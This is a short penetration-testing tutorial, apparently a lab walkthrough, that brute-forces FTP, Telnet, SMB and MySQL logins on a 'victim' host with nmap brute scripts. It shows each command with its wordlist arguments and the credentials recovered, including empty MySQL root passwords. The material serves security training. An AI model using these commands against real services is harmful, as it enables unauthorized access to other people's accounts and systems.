Password Cracking using Nmap

In previous practical I had used basic command to scan victim’s PC and found open ports like ftp, Ssh, telnet, snmp and etc. You can check from here.  But now the question is if we found open ports what else we can do to retrieve the information of victim using nmap scripts? To know your answer read ahead.

FTP BRUTE

Crack password using nmap brute script of FTP.

nmap -p21 –script ftp-brute.nse –script-args

userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.105

From the scanning result I have successfully got the FTP password of victim pc

msfadmin:msfadminas username and password.

TELNET BRUTE

 Crack password using nmap brute script of telnet.

nmap -p23 –script telnet-brute.nse –script-args

userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.105

I have successfully got the TELNET password of victim pc msfadmin:msfadminas username and password.

SMB BRUTE

Crack password using nmap brute script of SMB

Nmap –p445 –script smb-brute.nse –script-args

userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.105

I have successfully got the SMB password of victim pc msfadmin:msfadmin and user:useras username and password.

 MYSQL BRUTE

Crack password using nmap brute script of MYSQL server

Nmap  -sT -p3306 –script mysql-brute.nse –script-args userdb=/root/Desktop/user.txt 192.168.1.105

Here I found two user as root and guest with empty password for MySQL server

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets.

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